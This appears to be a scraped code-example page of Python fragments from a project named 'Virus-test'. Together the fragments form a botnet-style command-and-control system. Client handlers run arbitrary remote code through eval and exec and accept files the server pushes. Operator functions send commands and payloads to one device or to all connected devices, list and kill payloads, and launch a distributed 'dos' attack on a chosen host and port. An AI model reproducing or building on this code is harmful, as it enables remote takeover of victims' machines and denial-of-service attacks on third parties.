コード例 #1
0
 def event_paykill(self, packet):
     try:
         self.activePayloads[packet.read()].kill()
     except KeyError:
         self.send(
             Packet("info", "Can not find payload %s." % packet.read()))
     else:
         self.send(Packet("info", "Killed payload."))
コード例 #2
0
ファイル: server.py プロジェクト: JamesPerisher/Virus-test
    def send_file(self, file, name):
        with open(file, "rb") as f:
            self.send(Packet("new_file", name))

            while True:
                chunk = f.read(RECEIVE_BUFFER - 16)
                if not chunk: break
                p = Packet("file_data", chunk)
                self.send(p)
コード例 #3
0
 def event_execute(self, packet):
     try:
         data = PayloadPlayer(PAYLOADS[packet.read().split(" ")[0]],
                              self).execute(packet.read())
     except KeyError:
         self.send(
             Packet("info", "Can not find payload %s." % packet.read()))
     else:
         self.send(Packet("info", data))
コード例 #4
0
ファイル: server.py プロジェクト: JamesPerisher/Virus-test
    def distribute_file(self, file, name):
        with open(file, "rb") as f:
            for i in self:
                i.send(Packet("new_file", name))

            while True:
                chunk = f.read(RECEIVE_BUFFER - 16)
                if not chunk: break
                p = Packet("file_data", chunk)
                for i in self:
                    i.send(p)
コード例 #5
0
        def event_cmd(self, packet):
            try:
                data = eval(packet.read())
                self.send(Packet("info", str(data)))
            except Exception as e:
                self.send(Packet("info", str("%s: %s" % (type(e), e))))

            try:
                exec(packet.read())
                self.send(Packet("info", str("Run on exec")))
            except Exception as e:
                self.send(Packet("info", str("%s: %s" % (type(e), e))))
コード例 #6
0
def ckickdis(x):
    a = {}
    for i in ds.copy():
        ds[i].send(Packet("cleaner"))
        x = ds[i].kill("Kicked all.")
        a[x] = a.get(x, 0) + 1
    return a
コード例 #7
0
 def connect(self):
     self.pingdelay = time.time() + PING_DELAY
     if not self.client.send(Packet("ping")):
         print("No connect, retrying.")
         self.client = Client(HOST, PORT)
         self.client.start()
         return False
     return True
コード例 #8
0
        def event_new_file(self, packet):
            name = packet.read()
            self.file_buffer = name

            os.makedirs(
                "." if os.path.dirname(name) == "" else os.path.dirname(name),
                exist_ok=True)
            with open(name, "w") as f:
                f.close()

            self.send(Packet("info", "Recieving file '%s'." % name))
コード例 #9
0
def ccmd(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("cmd", x[1]))
コード例 #10
0
def cpaylist(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("execute_list"))
コード例 #11
0
 def event_execute_list(self, packet):
     self.send(Packet("execute", str(list(PAYLOADS.keys()))))
コード例 #12
0
 def event_ping(self, packet):
     self.send(Packet("pong"))
コード例 #13
0
 def error(self, e):
     if self.manager: return self.manager.send(Packet("info", str(e)))
     print("paylod error: %s" % e)
コード例 #14
0
def cpay(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(
        Packet("execute", " ".join([y for y in x[1::] if y != None])))
コード例 #15
0
 def event_cleaner(self, packet):
     self.send(Packet("active", str(self.activePayloads)))
コード例 #16
0
def cddos(x):
    return ds.distribute_packet(Packet("execute", "dos %s %s" % (x[0], x[1])))
コード例 #17
0
def cpaydis(x):
    return ds.distribute_packet(
        Packet("execute", " ".join([y for y in x if y != None])))
コード例 #18
0
def ckick(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    ds[x[0]].send(Packet("cleaner"))
    return ds[x[0]].kill("Kicked.")
コード例 #19
0
def cpaykilldis(x):
    return ds.distribute_packet(Packet("paykill", x[1]))
コード例 #20
0
def cpaykill(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("paykill", x[1]))
コード例 #21
0
def cactive(x):
    if ds.get(x[0], None) == None: return "Can not find device '%s'" % x[0]
    return ds[x[0]].send(Packet("active"))
コード例 #22
0
def ckillddos(x):
    return ds.distribute_packet(Packet("paykill", "dos"))